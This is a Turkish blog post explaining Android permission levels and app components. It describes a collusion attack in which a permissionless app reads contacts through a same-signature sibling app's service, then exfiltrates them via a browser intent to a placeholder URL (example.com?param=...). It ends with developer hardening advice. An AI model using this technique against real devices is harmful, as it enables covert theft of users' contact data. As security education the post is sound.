Android'de İzin Almadan İzin Kullanmak

Android’in en temel güvenlik mekanizmalarından biri Android İzin Modeli‘dir (Android Permission Model) Android Permission Model korunan kaynaklara uygulamaların direkt olarak erişmesini engelleyen ve bu erişimin işletim sistemi üzerinden yürütülmesini sağlayan bir mekanizmadır. Bu korunan kaynaklar SMS’ler, telefon rehberi, internet erişimi gibi kaynaklardır.

Korunan kaynaklara erişim için uygulama izin talep etmelidir. Talep edilen bu izin kullanıcı tarafından uygulama kurulumu sırasında onaylanmalıdır. Ancak bu sayede uygulama korunan kaynaklara işletim sistemi üzerinden erişim sağlayabilir. Aşağıdaki ekran görüntüsü Maps uygulamasının yüklenmesi sırasında geliştiricinin talep ettiği izinleri göstermektedir.


Android izin modeline göre izinler yükleme sırasında toplu olarak verilir ve daha sonra geri alınamaz. Uygulamaya verilen yetkilerin geri alınabilmesi için uygulamanın cihazdan kaldırılması gerekmektedir. Aynı uygulama tekrar kurulmak istendiğinde yine talep edilen izinler kullanıcıya sorulacaktır.

Uygulama geliştiriciler talep ettikleri izinleri AndroidManifest.XML dosyası içerisinde tanımlarlar. 

Telep edilen izinler tag’i kullanılarak uygulamanın AndroidManifest.XML dosyası içerisinde tanımlanır.
AndroidManifestxml


Yukarıdaki resim bir AndroidManifest.XML dosyası içeriğinden bir kesittir. Resim incelendiğinde uygulamanın READ_CONTACTS, INTERNET, ACCESS_NETWORK_STATE, SEND_SMS, RECEIVE_SMS ve RECORD_AUDIO izinlerini talep ettiği görülmektedir. İzinlerin adları, yaptıkları işlemler için açıklayıcıdır.

Android İzin Seviyeleri

Android’de izinlerin 4 seviyesi bulunmaktadır.

Normal: Kullanıcıya ciddi bir zarar vermeyecek izinler. (duvar kağıdı değiştirmek vb.) Kullanıcı onayı alınmaz.

Dangerous: Kullanıcıya zarar verebilecek izinler. Maddi karşılığı olabilecek izinler (SMS, telefon, internet). Kullanıcı onayı gerekir 

Signature: Aynı geliştirici sertifikasıyla imzalanmış uygulamalarda kullanıcıya sorulmadan otomatik olarak izinler verilir.

Signature/System: Signature seviyesi ile aynıdır. Ek olarak Android system imajı içerisindeki uygulamalara ait haklar için de kullanıcı onayı alınmamasını sağlar.

Android Uygulama Komponentleri

Android uygulamalarında temel olarak 5 adet komponent vardır. Bu komponentler uygulamaların yapı taşları olarak adlandırılabilir.

Activity: Uygulamanın her bir ekranı Activity olarak adlandırılır. 

Service: Arka planda (uzun süreli) çalışan uygulamalardır. Kullanıcı arayüzü yoktur. Windows’taki service yapısıyla benzer bir yapıdadır. 

Broadcast Receiver: Sistem geneli broadcast’leri yakalayan ve aksiyon gösteren komponenttir. Herhangi bir event (olay) olması durumunda yayınlanan broadcast mesajlarını yakayıp aksiyon alınmasını sağlayan yapı Broadcast Receiver yapısıdır.

Content Provider: Uygulama verilerinin paylaşılmasını ve erişilebilir olmasını sağlayan komponenttir. Adından da anlaşılacağı üzere Content provider sayesinde herhangi bir uygulamaya ait veri, diğer uygulamalar ile paylaşılabilir.
Intent: Uygulamalar arası veya uygulama içi komponentler arası haberleşmeyi sağlayan yapıdır. 

Android İzin Tanımlama

Android KitKat 4.4 – API seviye 19’ta tanımlı 145 tane izin bulunmaktadır. Bu izinler dışında uygulama geliştiricisi kendi uygulamasının komponentlerini kendi tanımladığı bir izinle koruyabilir. Uygulamaya ait bir veri, izin seviyesi belirtilerek koruma altına alınabilir. Tanımlama işlemi <permission> tagi ile yapılır. Aşağıdaki resimde SECRET adında bir permission tanımlanmış ve tanımlanan bu permission ile uygulamanın FirstAppMainActivty adındaki activity’si koruma altına alınmıştır. Bu durum şu anlama gelmektedir. Bu uygulamanın FirstAppMainActivty adındaki activity’sine SECRET permission’una sahip olmayan kimse erişemeycektir. SECRET permission’unun seviyesi de “signature” olduğundan bu uygulama ile aynı developer imzasına sahip olan uygulamalara bu yetkinin otomatik olarak (kullanıcı onayı alınmadan) verileceği görülebilmektedir.

Bir acitivty’nin korunması ile bakışta anlamsız gelebilir ancak bu izin tanımlama işlemi diğer tüm komponentler için de uygulanabilir bir yöntemdir. Uygulamaya ait verilerin erişilebilir olmasını sağlayan content provider’lar da benzer bir izin korumasıyla korunabilmektedir.
Detaylı incelendiğinde telefon rehberinin de aslında bir content provider ile paylaşıldığının ve bu content provider’ın READ_CONTACTS ve WRITE_CONTACTS izinleri ile korunduğu görülebilir.

Yani telefon içerisindeki People (Contacts) uygulamasının da aslında telefon rehberi content provider’ına erişebilmek için READ_CONTACTS ve WRITE_CONTACTS izinlerini talep ettiği bilinmelidir. Aşağıdaki resimde Contacts uygulamasının aldığı izinler görülebilir.

Saldırı Vektörü

Yukarıda belirtilen konular birleştirildiğinde bir saldırı vektörü oluşmaktadır. Saldırı senaryosu şu şekildedir:

Masum ancak yetki talep eden bir uygulama bulunmaktadır. Bu uygulama First olarak adlandırılmaktadır. Aynı developer tarafından geliştirilen ve herhangi bir izin talep etmemesine rağmen kötü niyetli olan bir diğer uygulama daha bulunmaktadır. Bu uygulama Second olarak adlandırılmaktadır.

First uygulaması kullanıcıdan READ_CONTACTS yetkisi talep etmektedir. First uygulamasında bir Service komponenti bulunmaktadır ve bu service SecretService adındaki bir izin ile koruma altına alınmıştır. İzin seviyesi de Signature seviyesindedir.

Second uygulaması ise AndroidManifest.XML dosyası içerisinde First uygulamasının servisine erişim için gerekli olan SecretService yetkisi dışında hiçbir yetki talep etmemektedir. Zaten bu izin de uygulama kurulurken signature olarak tanımlandığından kullanıcı onayı alınmadan verilecektir.


Yukarıdaki resimde Second uygulamasının kurulurken kullanıcıdan hiçbir izin istemediği görülmektedir.

First uygulaması içerisindeki korunan servis ise kendisine gelen istek üzerine sahip olduğu READ_CONTACTS yetkisini kullanarak telefon rehberini almakta ve kendisine istekte bulunan uygulama veya komponente iletmektedir.

Second uygulaması işte bu servise Signature koruma seviyesindeki bir izinle erişme hakkına sahiptir. Dolayısıyla Second uygulaması First uygulamasının servisi üzerinden telefon rehberine erişmektedir.

Ayrıca Second uygulaması cihazın tarayıcısına bir intent göndererek istediği herhangi bir web sayfasını çağırmasını sağlayabilmektedir. Bu durumda artık Second uygulaması arkaplana alınmakta ve web tarayıcı uygulaması açılmaktadır. 

Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(“http://www.example.com“));


Telefon rehberi datasının bir String ifadesi ile browser tarafından açılacak sayfa adresine parametre olarak verilmesi durumunda istenilen web sunucusuna web browser üzerinden istenilen parametre ile bir GET talebi gönderilebilmektedir.

Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(“http://www.example.com?param=[Ali Veli:11122233344]“));


Bu işlemi yapmak için ise uygulamanın herhangi bir izin talep etmesine gerek yoktur. INTERNET izni, uygulama içerisinden internet bağlantısı kurulacağı zaman talep edilmektedir. Bu durumda ise Second uygulması içerisinden herhangi bir internet erişimi yapılmamaktadır. İnternet erişimini yapan web tarayıcısıdır ve web tarayıcısının INTERNET izni bulunmaktadır. Second uygulaması sadece web tarayıcısı uygulamasına hangi web sayfasına bağlanacağını söylemektedir.

Buradaki tek detay Second uygulamasının bu HTTP talebini göndermesi durumunda kendisinin kapanıp web tarayıcının açılıyor olmasıdır. Dolayısıyla böyle bir yöntem ile veri göndermeye çalışan uygulamanın bu davranışı kullanıcı tarafından şüphe ile karşılanacaktır. Ancak zararlı Second uygulaması o anda emeline ulaşmış ve kullanıcı telefon rehberini alarak internet üzerinden istediği sunucuya göndermiş olacaktır.

Yazıyı özetlemek gerekirse aynı developer tarafından geliştirilmiş (imzalanmış) biri zararsız ancak yetki sahibi; diğeri zararlı ama hiçbir izin talep etmeyen iki uygulama birlikte çalışarak zararlı bir işlem gerçekleştirebilmektedir. Zararlı uygulama hiçbir izin talep etmediği halde masum uygulamanın haklarını kullanabilmektedir. Signature seviyeli izin sayesinde ikinci uygulama hiçbir izin talep etmeden izin kullanabilmektedir. 

Konunun zararlı yanına ek olarak geliştiricilerin dikkat etmesi gereken noktalardan birisi de herhangi bir komponenti dışarıdan erişime açarken mutlaka bir izin ile koruma gerekliliğidir. Özellikle korumasız servisler ve korumasız içerik sağlayacılar diğer uygulamalar tarafından yetkisizce kullanılabilmektedir.

Ana Sayfa

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.